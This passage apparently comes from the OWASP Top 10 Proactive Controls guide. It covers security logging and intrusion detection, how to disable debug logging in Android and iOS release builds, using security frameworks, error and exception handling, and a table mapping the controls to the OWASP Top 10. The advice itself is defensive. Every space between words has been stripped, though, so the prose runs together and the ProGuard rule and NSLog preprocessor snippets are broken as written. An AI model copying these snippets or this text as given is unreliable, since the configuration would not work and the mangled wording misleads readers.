OWASPMobileTop102014M2InsecureDataStorage
References
ProperTLSconfiguration:
OWASPTransportLayerProtectionCheatSheet
ProtectingusersfrommaninthemiddleattacksviafraudulentTLScertificates:
OWASP
PinningCheatSheet
OWASPCryptographicStorageCheatSheet
OWASPPasswordStorageCheatSheet
OWASPTestingforTLS
IOSDeveloperCheatSheet:
OWASPiOSSecureDataStorage
IOSApplicationSecurityTestingCheatSheet:
OWASPInsecuredatastorage
Tools
OWASPOSaftTLSTool
8:ImplementLoggingandIntrusionDetection
ControlDescription
Applicationloggingshouldnotbeanafterthoughtorlimitedtodebuggingandtroubleshooting.
Loggingisalsousedinotherimportantactivities:
Applicationmonitoring
Businessanalyticsandinsight
Activityauditingandcompliancemonitoring
Systemintrusiondetection
Forensics
Loggingandtrackingsecurityeventsandmetricshelpstoenable
"attackdrivendefense"
:
makingsurethatyoursecuritytestingandcontrolsarealignedwithrealworldattacksagainst
yoursystem.
Tomakecorrelationandanalysiseasier,followacommonloggingapproachwithinthesystem
andacrosssystemswherepossible,usinganextensibleloggingframeworklikeSLF4Jwith
LogbackorApacheLog4j2,toensurethatalllogentriesareconsistent.
Processmonitoring,auditandtransactionlogs/trailsetcareusuallycollectedfordifferent
purposesthansecurityeventlogging,andthisoftenmeanstheyshouldbekeptseparate.The
typesofeventsanddetailscollectedwilltendtobedifferent.ForexampleaPCIDSSauditlog
willcontainachronologicalrecordofactivitiestoprovideanindependentlyverifiabletrailthat
permitsreconstruction,reviewandexaminationtodeterminetheoriginalsequenceof
attributabletransactions.
Itisimportantnottologtoomuch,ortoolittle.Makesuretoalwayslogthetimestampand
identifyinginformationlikethesourceIPanduserid,butbecarefulnottologprivateor
confidentialdataoroptoutdataorsecrets.Useknowledgeoftheintendedpurposestoguide
what,whenandhowmuchtolog.ToprotectfromLogInjectionakal
ogforging
,makesureto
performencodingonuntrusteddatabeforeloggingit.
The
OWASPAppSensorProject
explainshowtoimplementintrusiondetectionandautomated
responseintoanexistingWebapplication:wheretoaddsensorsor
detectionpoints
andwhat
responseactions
totakewhenasecurityexceptionisencounteredinyourapplication.For
example,ifaserversideeditcatchesbaddatathatshouldalreadyhavebeeneditedatthe
client,orcatchesachangetoanoneditablefield,thenyoueitherhavesomekindofcodingbug
or(morelikely)somebodyhasbypassedclientsidevalidationandisattackingyourapp.Dont
justlogthiscaseandreturnanerror:throwanalert,ortakesomeotheractiontoprotectyour
systemsuchasdisconnectingthesessionorevenlockingtheaccountinquestion.
Inmobileapplications,developersuseloggingfunctionalityfordebuggingpurpose,whichmay
leadtosensitiveinformationleakage.Theseconsolelogsarenotonlyaccessibleusingthe
XcodeIDE(iniOSplatform)orLogcat(inAndroidplatform)butbyanythirdpartyapplication
installedonthesamedevice.Forthisreason,bestpracticerecommendstodisablelogging
functionalityintoproductionrelease.
DisablelogginginreleaseAndroidapplication
ThesimplestwaytoavoidcompilingLogClassintoproductionreleaseistousetheAndroid
ProGuard
tooltoremoveloggingcallsbyaddingthefollowingoptionintheproguardproject.txt
configurationfile:
assumenosideeffectsclassandroid.util.Log
{
publicstaticbooleanisLoggable(java.lang.String,int)
publicstaticintv(...)
publicstaticinti(...)
publicstaticintw(...)
publicstaticintd(...)
publicstaticinte(...)
}
DisablelogginginreleaseiOSapplication
ThistechniquecanbealsoappliedoniOSapplicationbyusingthepreprocessortoremoveany
loggingstatements:
#ifndefDEBUG
#defineNSLog(...)
#endif
VulnerabilitiesPrevented
AllOWASPTopTen
MobileTop102014M4UnintendedDataLeakage
References
Howtoproperlyimplementlogginginanapplication:
OWASPLoggingCheatSheet
IOSDeveloperCheatSheet:
OWASPSensitiveInformationDisclosure
OWASPLogging
OWASPReviewingCodeforLoggingIssues
Tools
OWASPAppSensorProject
OWASPSecurityLoggingProject
9:LeverageSecurityFrameworksandLibraries
ControlDescription
Startingfromscratchwhenitcomestodevelopingsecuritycontrolsforeverywebapplication,
webserviceormobileapplicationleadstowastedtimeandmassivesecurityholes.Secure
codinglibrariesandsoftwareframeworkswithembeddedsecurityhelpsoftwaredevelopers
guardagainstsecurityrelateddesignandimplementationflaws.Adeveloperwritinga
applicationfromscratchmightnothavesufficienttimeandbudgettoimplementsecurity
featuresanddifferentindustrieshavedifferentstandardsandlevelsofsecuritycompliance.
Whenpossible,theemphasisshouldbeonusingtheexistingsecurefeaturesofframeworks
ratherthanimportingthirdpartylibraries.Itispreferabletohavedeveloperstakeadvantageof
whatthey'realreadyusinginsteadofforcingyetanotherlibraryonthem.Webapplication
securityframeworkstoconsiderinclude:
SpringSecurity
ApacheShiro
DjangoSecurity
Flasksecurity
Onemustalsoconsiderthatnotallframeworksareimmunefromsecurityflawsandsomehave
alargeattacksurfaceduetothemanyfeaturesandthirdpartypluginsavailable.Agood
exampleistheWordpressframework(averypopularframeworktogetasimplewebsiteoffthe
groundquickly),whichpushessecurityupdates,butcannotsupportthesecurityinthirdparty
pluginsorapplications.Thereforeitisimportanttobuildinadditionalsecuritywherepossible,
updatingfrequentlyandverifyingthemforsecurityearlyandoftenlikeanyothersoftwareyou
dependupon.
VulnerabilitiesPrevented
Secureframeworksandlibrarieswilltypicallypreventcommonwebapplication
vulnerabilitiessuchasthoselistedintheOWASPTopTen,particularlythosebasedon
syntacticallyincorrectinput(e.g.supplyingaJavascriptpayloadinsteadofausername).
Itiscriticaltokeeptheseframeworksandlibrariesuptodateasdescribedinthe
using
componentswithknownvulnerabilitiesTopTen2013risk
.
KeyReferences
OWASPPHPSecurityCheatSheet
OWASP.NETSecurityCheatSheet
SecuritytipsandtricksforJavaScriptMVCframeworksandtemplatinglibraries
AngularSecurity
OWASPSecurityFeaturesincommonWebFrameworks
OWASPJavaSecurityLibrariesandFrameworks
Tools
OWASPDependencyCheck
10:ErrorandExceptionHandling
ControlDescription
Implementingcorrecterrorandexceptionhandlingisn'texciting,butlikeinputdatavalidation,it
isanimportantpartofdefensivecoding,criticaltomakingasystemreliableaswellassecure.
Mistakesinerrorhandlingcanleadtodifferentkindsofsecurityvulnerabilities:
1. Leakinginformationtoattackers,helpingthemtounderstandmoreaboutyourplatform
anddesign
CWE209
.Forexample,returningastacktraceorotherinternalerrordetails
cantellanattackertoomuchaboutyourenvironment.Returningdifferenttypesoferrors
indifferentsituations(forexample,"invaliduser"vs"invalidpassword"onauthentication
errors)canalsohelpattackersfindtheirwayin.
2. Notcheckingerrors,leadingtoerrorsgoingundetected,orunpredictableresultssuchas
CWE391
.ResearchersattheUniversityofTorontohavefoundthatmissingerror
handling,orsmallmistakesinerrorhandling,aremajorcontributorstocatastrophic
failuresindistributedsystems
https://www.usenix.org/system/files/conference/osdi14/osdi14paperyuan.pdf
.
Errorandexceptionhandlingextendstocriticalbusinesslogicaswellassecurityfeaturesand
frameworkcode.Carefulcodereviews,andnegativetesting(includingexploratorytestingand
pentesting),fuzzing(
https://www.owasp.org/index.php/Fuzzing
)andfaultinjectioncanallhelp
infindingproblemsinerrorhandling.Oneofthemostfamousautomatedtoolsforthisis
Netflix's
ChaosMonkey
.
PositiveAdvice
1. Itsrecommendedtomanageexceptionsina
centralizedmanner
toavoidduplicated
try/catchblocksinthecode,andtoensurethatallunexpectedbehaviorsarecorrectly
handledinsidetheapplication.
2. Ensurethaterrormessagesdisplayedtousersdonotleakcriticaldata,butarestill
verboseenoughtoexplaintheissuetotheuser.
3. EnsurethatexceptionsareloggedinawaythatgivesenoughinformationforQ/A,
forensicsorincidentresponseteamstounderstandtheproblem.
VulnerabilitiesPrevented
AllOWASPTopTen
References
OWASPCodeReviewGuideErrorHandling
OWASPTestingGuideTestingforErrorHandling
OWASPImproperErrorHandling
Tools
AspiratorAsimplecheckerforexceptionhandlerbugs
Top10Mapping
EachoftheabovecontrolshelppreventingoneormoreOWASPTopTen.
BelowthereisasummaryofthemappingbetweeneachOWASPTop10ProactiveControls
andtheOWASPTop10ithelpstomitigate.
OWASPTop10ProactiveControls
OWASPTop10Prevented
C1:VerifyforSecurityEarlyandOften
AllTop10
C2:ParameterizeQueries
A1Injection
C3:EncodeData
A1Injection
A3CrossSiteScripting(XSS)(inpart)
C4:ValidateAllInputs
A1Injection
(inpart)
A3CrossSiteScripting(XSS)
(inpart)
A10UnvalidatedRedirectsand
Forwards
C5:IdentityandAuthenticationControls
A2BrokenAuthenticationandSession
Management
C6:ImplementAccessControls
A4InsecureDirectObjectReferences
A7MissingFunctionLevelAccess
Control
C7:ProtectData
A6SensitiveDataExposure
C8:ImplementLoggingandIntrusion
Detection
AllTop10
C9:LeverageSecurityFeaturesand
Libraries
AllTop10
C10:ErrorandExceptionHandling
AllTop10